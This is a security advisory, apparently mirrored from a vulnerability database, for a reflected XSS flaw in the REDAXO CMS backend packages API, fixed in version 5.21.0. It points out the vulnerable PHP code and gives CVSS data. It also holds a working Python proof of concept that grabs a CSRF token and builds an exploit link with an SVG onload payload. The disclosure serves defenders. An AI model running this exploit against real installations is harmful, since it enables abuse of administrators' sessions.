REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)
Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The function parameter is concatenated into an API error message and rendered without HTML escaping.
Details
Root cause
User input function is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.
Vulnerable code (redaxo/src/core/lib/packages/api_package.php) :
$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');
Sink (redaxo/src/core/lib/view.php) :
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';
Source -> sink flow
- Source:
function(GET) - Propagation: concatenated into the exception message
- Sink: rendered via
rex_view::error()->rex_view::message()without escaping
Authentication required: yes (backend session)
PoC - Exploit
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx
https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598
"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\\"><svg/onload=alert("Pwned")>'
def build_backend_url() -> str:
base = TARGET_URL.rstrip('/')
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
if not m:
raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
return m.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Backend session required (role with access to packages)
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "packages",
"rex-api-call": "package",
"function": PAYLOAD,
"package": "nonexistent",
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.
Impact
- Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Demo
https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | redaxo/source | < 5.21.0 | 5.21.0 |
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-79- Plattform
- Composer
- Paket
redaxo/source- Veröffentlicht
- 10.04.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-xq4j-g85q-wf97 - CC BY 4.0
Schwachstellenhistorie: redaxo/source
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- Einträge insgesamt
- 18
- Erste → letzte
- 02.2024 09.2026
- Ohne Fix
- 3
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 4
- Mittel 11
- Niedrig 3
Veröffentlichungen pro Jahr
- 2024: 3
- 2025: 7
- 2026: 8
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